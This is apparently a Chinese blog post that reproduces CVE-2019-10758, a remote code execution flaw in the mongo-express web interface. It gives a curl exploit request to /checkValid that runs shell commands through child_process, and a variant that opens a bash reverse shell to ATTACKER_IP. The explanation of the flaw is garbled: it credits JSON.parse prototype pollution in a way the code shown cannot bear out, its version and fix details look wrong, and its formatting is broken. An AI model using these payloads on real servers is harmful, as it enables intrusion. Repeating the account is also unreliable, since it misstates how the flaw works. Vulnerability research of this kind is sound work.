您好,登录后才能下订单哦!
# Mongo-express远程代码执行漏洞(CVE-2019-10758)复现分析
## 漏洞概述
CVE-2019-10758是mongo-express(一个基于Web的MongoDB管理界面)中的一个高危远程代码执行漏洞。该漏洞存在于0.54.0及以下版本中,允许未经身份验证的攻击者通过精心构造的请求在服务器上执行任意代码。
### 影响版本
- mongo-express <= 0.54.0
### 漏洞类型
- 远程代码执行(RCE)
- CVSS评分:9.8(Critical)
## 环境搭建
### 准备工具
1. Docker环境
2. 漏洞版本mongo-express(0.54.0)
3. MongoDB实例
### 快速搭建步骤
```bash
# 启动MongoDB容器
docker run --name mongodb -d mongo:4.0
# 启动存在漏洞的mongo-express
docker run --link mongodb:mongo -p 8081:8081 -e ME_CONFIG_MONGODB_SERVER=mongo mongo-express:0.54.0
漏洞位于lib/router.js
中的toBSON
函数,该函数未对用户输入进行充分过滤,导致可以通过原型链污染(Prototype Pollution)注入恶意代码。
// 存在问题的代码片段
function toBSON(string) {
var obj;
try {
obj = JSON.parse(string);
} catch (e) {
// 尝试其他解析方式...
}
return obj;
}
攻击者可以通过构造特殊的JSON数据污染__proto__
属性,最终在服务端实现任意代码执行。
访问http://localhost:8081
确认mongo-express正常运行
使用curl发送精心构造的请求:
curl -i -s -k -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary "document={\"__proto__\": {\"exec\": \"require('child_process').execSync('touch /tmp/pwned')\"}}" \
"http://localhost:8081/checkValid"
进入容器检查命令是否执行成功:
docker exec -it <container_id> ls /tmp
# 应能看到pwned文件被创建
修改payload获取交互式shell:
{
"__proto__": {
"exec": "require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1')"
}
}
升级到mongo-express 1.0.0及以上版本
// 修复后的代码示例
function toBSON(string) {
if (string.indexOf('__proto__') !== -1) {
throw new Error('Prototype pollution attempt');
}
// ...其余校验逻辑
}
JavaScript中通过修改__proto__
属性可以污染基础对象的原型链,导致所有派生对象继承恶意属性。
toBSON
解析__proto__
污染Object原型toBSON (lib/router.js)
↓
JSON.parse
↓
Object.prototype污染
↓
child_process.execSync调用
CVE-2019-10758展示了原型链污染在实际应用中的危险性。通过本次复现,我们了解到:
建议所有使用mongo-express的用户立即升级到最新版本,并定期进行安全审计。
”`
注:实际复现时请确保在授权环境下进行,本文仅用于安全研究目的。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。